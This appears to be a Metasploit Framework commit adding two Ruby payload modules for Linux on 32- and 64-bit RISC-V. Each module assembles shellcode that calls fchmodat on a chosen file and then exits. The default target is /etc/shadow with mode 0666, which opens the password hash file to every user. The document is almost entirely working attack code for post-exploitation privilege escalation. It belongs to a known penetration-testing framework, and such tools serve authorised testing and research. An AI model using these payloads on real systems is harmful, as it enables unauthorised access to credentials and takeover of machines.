Add Linux RISC-V chmod payloads

Author: bcoles

modules/payloads/singles/linux/riscv32le/chmod.rb

@@ -0,0 +1,72 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+  CachedSize = 52
+
+  include Msf::Payload::Single
+
+  def initialize(info = {})
+    super(
+      merge_info(
+        info,
+        'Name' => 'Linux Chmod',
+        'Description' => 'Runs chmod on the specified file with specified mode.',
+        'Author' => 'bcoles',
+        'License' => MSF_LICENSE,
+        'Platform' => 'linux',
+        'Arch' => ARCH_RISCV32LE,
+        'References' => [
+          ['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
+        ]
+      )
+    )
+    register_options([
+      OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
+      OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
+    ])
+  end
+
+  # @return [String] the full path of the file to be modified
+  def file_path
+    datastore['FILE'] || ''
+  end
+
+  # @return [Integer] the desired mode for the file
+  def mode
+    (datastore['MODE'] || '0666').oct
+  rescue StandardError => e
+    fail_with(Failure::BadConfig, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}")
+  end
+
+  # @return [Integer] RISC-V instruction to load mode into a2 register
+  # For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2
+  def chmod_instruction(mode)
+    (mode & 0xfff) << 20 | 0x0613
+  end
+
+  def generate(_opts = {})
+    fail_with(Failure::BadConfig, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)") if mode > 0xFFF
+
+    shellcode = [
+      0xf9c00513,  # li a0,-100
+      0x00000597,  # auipc a1,0x0
+      0x02458593,  # addi a1,a1,36 # 100a0 <path>
+      chmod_instruction(mode), # li a2,<mode>
+      0x00000693,  # li a3,0
+      0x03500893,  # li a7,53 # __NR_fchmodat
+      0x00000073,  # ecall
+      0x00000513,  # li a0,0
+      0x05d00893,  # li a7,93 # __NR_exit
+      0x00000073,  # ecall
+    ].pack('V*')
+    shellcode += file_path + "\x00"
+
+    # align our shellcode to 4 bytes
+    shellcode += "\x00" while shellcode.bytesize % 4 != 0
+
+    super.to_s + shellcode
+  end
+end

modules/payloads/singles/linux/riscv64le/chmod.rb

@@ -0,0 +1,72 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+  CachedSize = 52
+
+  include Msf::Payload::Single
+
+  def initialize(info = {})
+    super(
+      merge_info(
+        info,
+        'Name' => 'Linux Chmod',
+        'Description' => 'Runs chmod on the specified file with specified mode.',
+        'Author' => 'bcoles',
+        'License' => MSF_LICENSE,
+        'Platform' => 'linux',
+        'Arch' => ARCH_RISCV64LE,
+        'References' => [
+          ['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
+        ]
+      )
+    )
+    register_options([
+      OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
+      OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
+    ])
+  end
+
+  # @return [String] the full path of the file to be modified
+  def file_path
+    datastore['FILE'] || ''
+  end
+
+  # @return [Integer] the desired mode for the file
+  def mode
+    (datastore['MODE'] || '0666').oct
+  rescue StandardError => e
+    fail_with(Failure::BadConfig, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}")
+  end
+
+  # @return [Integer] RISC-V instruction to load mode into a2 register
+  # For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2
+  def chmod_instruction(mode)
+    (mode & 0xfff) << 20 | 0x0613
+  end
+
+  def generate(_opts = {})
+    fail_with(Failure::BadConfig, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)") if mode > 0xFFF
+
+    shellcode = [
+      0xf9c00513,  # li a0,-100
+      0x00000597,  # auipc a1,0x0
+      0x02458593,  # addi a1,a1,36 # 100a0 <path>
+      chmod_instruction(mode), # li a2,<mode>
+      0x00000693,  # li a3,0
+      0x03500893,  # li a7,53 # __NR_fchmodat
+      0x00000073,  # ecall
+      0x00000513,  # li a0,0
+      0x05d00893,  # li a7,93 # __NR_exit
+      0x00000073,  # ecall
+    ].pack('V*')
+    shellcode += file_path + "\x00"
+
+    # align our shellcode to 4 bytes
+    shellcode += "\x00" while shellcode.bytesize % 4 != 0
+
+    super.to_s + shellcode
+  end
+end